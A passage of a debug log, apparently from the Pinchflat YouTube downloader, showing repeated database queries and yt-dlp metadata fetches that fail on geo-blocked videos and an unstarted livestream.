Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:15.692 [debug] QUERY OK source="settings" db=0.1ms idle=13.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.693 [debug] QUERY OK source="settings" db=0.0ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.693 [debug] Running yt-dlp command for action: get_media_attributes 16:06:15.700 [debug] QUERY OK source="settings" db=0.0ms idle=20.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.700 [debug] QUERY OK source="settings" db=0.0ms idle=20.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.700 [debug] QUERY OK source="settings" db=0.1ms idle=20.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.700 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/98/ad/98ad3648b52fce905508a111b68d02a20b51593dce4556588183ee14f4e6d7f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:15.801 [debug] QUERY OK source="media_items" db=0.6ms idle=108.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 16:06:15.802 [debug] QUERY OK source="settings" db=0.0ms idle=109.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.802 [debug] QUERY OK source="settings" db=0.0ms idle=102.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.802 [debug] Running yt-dlp command for action: get_media_attributes 16:06:15.818 [debug] QUERY OK source="settings" db=0.0ms idle=118.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.818 [debug] QUERY OK source="settings" db=0.0ms idle=118.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.818 [debug] QUERY OK source="settings" db=0.0ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.819 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/93/4e93b249734f1db772daf9b11f04633cfa4456183418aacf9a8cc59f423e7e6d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:16.988 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/98/ad/98ad3648b52fce905508a111b68d02a20b51593dce4556588183ee14f4e6d7f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:16.988 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:16.989 [debug] QUERY OK source="settings" db=0.1ms idle=315.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:16.989 [debug] QUERY OK source="settings" db=0.0ms idle=110.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:16.989 [debug] Running yt-dlp command for action: get_media_attributes 16:06:16.991 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:16.991 [debug] QUERY OK source="settings" db=0.0ms idle=113.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:16.991 [debug] QUERY OK source="settings" db=0.0ms idle=113.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:16.991 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5a/52/5a525c1e09d838ca6eaf6989de21fd4c8a57707bc2e7926932531309ee2ba784.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:17.339 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/93/4e93b249734f1db772daf9b11f04633cfa4456183418aacf9a8cc59f423e7e6d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:06:17.339 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:06:17.339 [debug] QUERY OK source="settings" db=0.1ms idle=350.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:17.340 [debug] QUERY OK source="settings" db=0.1ms idle=350.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:17.340 [debug] Running yt-dlp command for action: get_media_attributes 16:06:17.345 [debug] QUERY OK source="settings" db=0.1ms idle=353.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:17.345 [debug] QUERY OK source="settings" db=0.1ms idle=353.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:17.345 [debug] QUERY OK source="settings" db=0.0ms idle=353.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:17.345 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/08/dc/08dca189fb4438b61d7bd209fb331f8bef69f5679acb42fe995d3051b5cd09d5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:18.462 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5a/52/5a525c1e09d838ca6eaf6989de21fd4c8a57707bc2e7926932531309ee2ba784.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:18.462 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:18.464 [debug] QUERY OK source="media_items" db=1.6ms idle=1122.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:06:18.465 [debug] QUERY OK source="tasks" db=0.1ms idle=1119.2ms INSERT 